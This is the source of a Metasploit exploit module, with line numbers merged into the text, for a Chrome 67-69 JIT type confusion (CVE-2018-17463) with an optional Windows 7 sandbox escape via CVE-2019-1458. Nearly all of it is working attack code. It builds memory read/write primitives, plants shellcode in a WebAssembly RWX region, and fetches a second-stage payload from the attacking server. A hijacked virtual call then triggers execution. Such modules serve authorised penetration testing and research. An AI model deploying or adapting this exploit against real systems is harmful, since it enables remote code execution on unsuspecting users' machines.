Path: blob/master/modules/exploits/multi/browser/chrome_object_create.rb
31376 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::Remote::HttpServer::BrowserExploit10include Msf::Payload::Windows::AddrLoader_x6411include Msf::Payload::Windows::ReflectiveDllInject_x641213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',18'Description' => %q{19This modules exploits a type confusion in Google Chromes JIT compiler.20The Object.create operation can be used to cause a type confusion between a21PropertyArray and a NameDictionary.22The payload is executed within the rwx region of the sandboxed renderer23process.24This module can target the renderer process (target 0), but Google25Chrome must be launched with the --no-sandbox flag for the payload to26execute successfully.27Alternatively, this module can use CVE-2019-1458 to escape the renderer28sandbox (target 1). This will only work on vulnerable versions of29Windows (e.g Windows 7) and the exploit can only be triggered once.30Additionally the exploit can cause the target machine to restart31when the session is terminated. A BSOD is also likely to occur when32the system is shut down or rebooted.33},34'License' => MSF_LICENSE,35'Author' => [36'saelo', # discovery and exploit37'timwr', # metasploit module38],39'References' => [40['CVE', '2018-17463'],41['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],42['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],43['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],44['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],45],46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => [ REPEATABLE_SESSION ],49'SideEffects' => [ IOC_IN_LOGS ],50'Stability' => [CRASH_SAFE]51},52'Targets' => [53[54'No sandbox escape (--no-sandbox)', {}55],56[57'Windows 7 (x64) sandbox escape via CVE-2019-1458',58{59'Platform' => 'win',60'Arch' => [ARCH_X64],61'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }62}63],64],65'DisclosureDate' => '2018-09-25'66)67)68deregister_options('DLL')69end7071def library_path72File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')73end7475def on_request_uri(cli, request)76print_status("Sending #{request.uri} to #{request['User-Agent']}")77download_payload = ''78shellcode = payload.encoded79uripath = datastore['URIPATH'] || get_resource80uripath += '/' unless uripath.end_with? '/'8182if target.name.end_with?('CVE-2019-1458')83if request.uri.to_s.end_with?('/payload')84loader_data = stage_payload85pidx = loader_data.index('PAYLOAD:')86if pidx87loader_data[pidx, payload.encoded.length] = payload.encoded88end89loader_data += "\0" * (0x20000 - loader_data.length)90send_response(cli, loader_data, {91'Content-Type' => 'application/octet-stream',92'Cache-Control' => 'no-cache, no-store, must-revalidate',93'Pragma' => 'no-cache', 'Expires' => '0'94})95print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")96end97loader = generate_loader98shellcode = loader[0]99shellcode_addr_offset = loader[1]100shellcode_size_offset = loader[2]101download_payload = <<-JS102var req = new XMLHttpRequest();103req.open('GET', '#{uripath}payload', false);104req.overrideMimeType('text/plain; charset=x-user-defined');105req.send(null);106if (req.status != 200) {107return;108}109let payload_size = req.responseText.length;110let payload_array = new ArrayBuffer(payload_size);111let payload8 = new Uint8Array(payload_array);112for (let i = 0; i < req.responseText.length; i++) {113payload8[i] = req.responseText.charCodeAt(i) & 0xff;114}115let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;116let payload_array_addr = memory.readPtr(payload_array_mem_addr);117print('payload addr: 0x' + payload_array_addr.toString(16));118uint64View[0] = payload_array_addr;119for (let i = 0; i < 8; i++) {120shellcode[#{shellcode_addr_offset} + i] = uint8View[i];121}122for (let i = 0; i < 4; i++) {123shellcode[#{shellcode_size_offset} + i] = (payload_size>>(8*i)) & 0xff;124}125for (let i = 4; i < 8; i++) {126shellcode[#{shellcode_size_offset} + i] = 0;127}128JS129end130131jscript = <<~JS132let ab = new ArrayBuffer(8);133let floatView = new Float64Array(ab);134let uint64View = new BigUint64Array(ab);135let uint8View = new Uint8Array(ab);136137let shellcode = new Uint8Array([#{Rex::Text.to_num(shellcode)}]);138139Number.prototype.toBigInt = function toBigInt() {140floatView[0] = this;141return uint64View[0];142};143144BigInt.prototype.toNumber = function toNumber() {145uint64View[0] = this;146return floatView[0];147};148149function hex(n) {150return '0x' + n.toString(16);151};152153function fail(s) {154print('FAIL ' + s);155throw null;156}157158const NUM_PROPERTIES = 32;159const MAX_ITERATIONS = 100000;160161function gc() {162for (let i = 0; i < 200; i++) {163new ArrayBuffer(0x100000);164}165}166167function make(properties) {168let o = {inline: 42} // TODO169for (let i = 0; i < NUM_PROPERTIES; i++) {170eval(`o.p${i} = properties[${i}];`);171}172return o;173}174175function pwn() {176function find_overlapping_properties() {177let propertyNames = [];178for (let i = 0; i < NUM_PROPERTIES; i++) {179propertyNames[i] = `p${i}`;180}181eval(`182function vuln(o) {183let a = o.inline;184this.Object.create(o);185${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}186return [${propertyNames.join(', ')}];187}188`);189190let propertyValues = [];191for (let i = 1; i < NUM_PROPERTIES; i++) {192propertyValues[i] = -i;193}194195for (let i = 0; i < MAX_ITERATIONS; i++) {196let r = vuln(make(propertyValues));197if (r[1] !== -1) {198for (let i = 1; i < r.length; i++) {199if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {200return [i, -r[i]];201}202}203}204}205206fail("Failed to find overlapping properties");207}208209function addrof(obj) {210eval(`211function vuln(o) {212let a = o.inline;213this.Object.create(o);214return o.p${p1}.x1;215}216`);217218let propertyValues = [];219propertyValues[p1] = {x1: 13.37, x2: 13.38};220propertyValues[p2] = {y1: obj};221222let i = 0;223for (; i < MAX_ITERATIONS; i++) {224let res = vuln(make(propertyValues));225if (res !== 13.37)226return res.toBigInt()227}228229fail("Addrof failed");230}231232function corrupt_arraybuffer(victim, newValue) {233eval(`234function vuln(o) {235let a = o.inline;236this.Object.create(o);237let orig = o.p${p1}.x2;238o.p${p1}.x2 = ${newValue.toNumber()};239return orig;240}241`);242243let propertyValues = [];244let o = {x1: 13.37, x2: 13.38};245propertyValues[p1] = o;246propertyValues[p2] = victim;247248for (let i = 0; i < MAX_ITERATIONS; i++) {249o.x2 = 13.38;250let r = vuln(make(propertyValues));251if (r !== 13.38)252return r.toBigInt();253}254255fail("Corrupt ArrayBuffer failed");256}257258let [p1, p2] = find_overlapping_properties();259print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);260261let memview_buf = new ArrayBuffer(1024);262let driver_buf = new ArrayBuffer(1024);263264gc();265266let memview_buf_addr = addrof(memview_buf);267memview_buf_addr--;268print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);269270let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);271272let driver = new BigUint64Array(driver_buf);273let original_memview_buf_ptr = driver[4];274275let memory = {276write(addr, bytes) {277driver[4] = addr;278let memview = new Uint8Array(memview_buf);279memview.set(bytes);280},281read(addr, len) {282driver[4] = addr;283let memview = new Uint8Array(memview_buf);284return memview.subarray(0, len);285},286readPtr(addr) {287driver[4] = addr;288let memview = new BigUint64Array(memview_buf);289return memview[0];290},291writePtr(addr, ptr) {292driver[4] = addr;293let memview = new BigUint64Array(memview_buf);294memview[0] = ptr;295},296addrof(obj) {297memview_buf.leakMe = obj;298let props = this.readPtr(memview_buf_addr + 8n);299return this.readPtr(props + 15n) - 1n;300},301};302303// Generate a RWX region for the payload304function get_wasm_instance() {305var buffer = new Uint8Array([3060,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,3071,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,308128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,309101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11310]);311return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});312}313#{download_payload}314let wasm_instance = get_wasm_instance();315let wasm_addr = memory.addrof(wasm_instance);316print("wasm_addr @ " + hex(wasm_addr));317let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);318print("wasm_rwx @ " + hex(wasm_rwx_addr));319320memory.write(wasm_rwx_addr, shellcode);321322let fake_vtab = new ArrayBuffer(0x80);323let fake_vtab_u64 = new BigUint64Array(fake_vtab);324let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);325326let div = document.createElement('div');327let div_addr = memory.addrof(div);328print('div_addr @ ' + hex(div_addr));329let el_addr = memory.readPtr(div_addr + 0x20n);330print('el_addr @ ' + hex(el_addr));331332fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);333memory.writePtr(el_addr, fake_vtab_addr);334335print('Triggering...');336337// Trigger virtual call338div.dispatchEvent(new Event('click'));339340// We are done here, repair the corrupted array buffers341let addr = memory.addrof(driver_buf);342memory.writePtr(addr + 32n, original_driver_buf_ptr);343memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);344}345346pwn();347JS348349jscript = add_debug_print_js(jscript)350html = %(351<html>352<head>353<script>354#{jscript}355</script>356</head>357<body>358</body>359</html>360)361send_response(cli, html, {362'Content-Type' => 'text/html',363'Cache-Control' => 'no-cache, no-store, must-revalidate',364'Pragma' => 'no-cache', 'Expires' => '0'365})366end367368end369370371